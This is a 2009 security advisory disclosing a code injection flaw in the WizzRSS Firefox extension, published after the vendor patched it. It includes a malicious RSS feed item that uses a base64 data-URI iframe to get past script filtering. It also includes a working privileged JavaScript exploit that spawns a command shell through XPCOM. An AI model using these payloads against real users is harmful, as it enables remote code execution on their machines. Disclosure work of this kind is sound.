



## Vulnerability Advisory

<b>Name</b>	WizzRSS (Mozilla Firefox Extension) – Code Injection Vulnerability
<b>Date Released</b>	August 24, 2009
<b>Affected Software</b>	WizzRSS < 3.1.0.0, WizzRSS Lite < 3.0.0.9b
<b>Researcher</b>	Nick Freeman <a href="mailto:nick.freeman@security-assessment.com">nick.freeman@security-assessment.com</a>

### Description

The WizzRSS Firefox extension will generate a preview of any RSS item, from feeds you have currently subscribed to.

Security-Assessment.com discovered that WizzRSS is vulnerable to multiple injection vulnerabilities which can be exploited through a malicious RSS feed. Cross-Site Scripting and HTML injection vulnerabilities were discovered within the RSS <description> tags of subscribed feeds.

WizzRSS directly evaluates remotely supplied content, within the privileged chrome context. This occurs when a user hovers over a feed item in the WizzRSS sidebar, rendering a preview of the feed item at the bottom of the sidebar. This can allow a remote feed to exploit users browsing it, and may lead to the complete compromise of the host.

An example of a malicious RSS feed item has been included below:

#### Example of a Malicious RSS Feed Item

```
<item>
  <title>Malicious Feed Item</title>
  <link>http://examplesite.tld </link>
  <description>Some text here<iframe src=&quot;data:text/html;base64,base64encodedJS&quot;&gt;
  &lt;/iframe&gt;</description>
</item>
```

This vulnerability has been patched. See the Solution section of this document for more information.

### Exploitation

This vulnerability can be exploited in several ways. As the injection point is in the chrome privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Mozilla built-in XPCOM components. XPCOM components can be used to read and write from the file system, as well as execute arbitrary commands, steal stored passwords, or modify other Firefox extensions.

Included below is an example exploit which should be base64 encoded and included in the malicious feed item above. Base64 encoding is required to bypass filtering of <script> tags. This exploit demonstrates remote code execution by executing **win.com** with a parameter of **cmd.exe**. This will spawn a command shell on the victim's desktop.

#### Example Remote Code Execution Exploit

```
<script> var IFile =
Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
var IPath = "C:\\WINDOWS\\system32\\win.com"; IFile.initWithPath(IPath);
var process =
Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
process.init(IFile); process.run(false,['C:\\WINDOWS\\system32\\cmd.exe'],1);</script>
```

For more details regarding exploitation of this vulnerability, refer to our DEFCON 17 presentation at [http://security-assessment.com/files/presentations/liverani\\_freeman\\_abusing\\_firefox\\_extensions\\_defcon17.pdf](http://security-assessment.com/files/presentations/liverani_freeman_abusing_firefox_extensions_defcon17.pdf).



security-assessment.com

## Solution

Security-Assessment.com follows responsible disclosure and promptly contacted the developer after discovering the issue. The developer was contacted on February 18, 2009, and a response was received on the same day. A fix was released on March 20, 2009.

The vendor supplied patch is available from Mozilla (<https://addons.mozilla.org/en-US/firefox/addon/424>) or from the developer's personal website, <http://www.wizzrss.com>.

## Credit

Discovered and advised to the WizzRSS developer February 2009 by Nick Freeman of Security-Assessment.com. Personal Page: <http://atta.cked.me>

## About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:

Web [www.security-assessment.com](http://www.security-assessment.com)  
Email [info@security-assessment.com](mailto:info@security-assessment.com)  
Phone +64 9 302 5093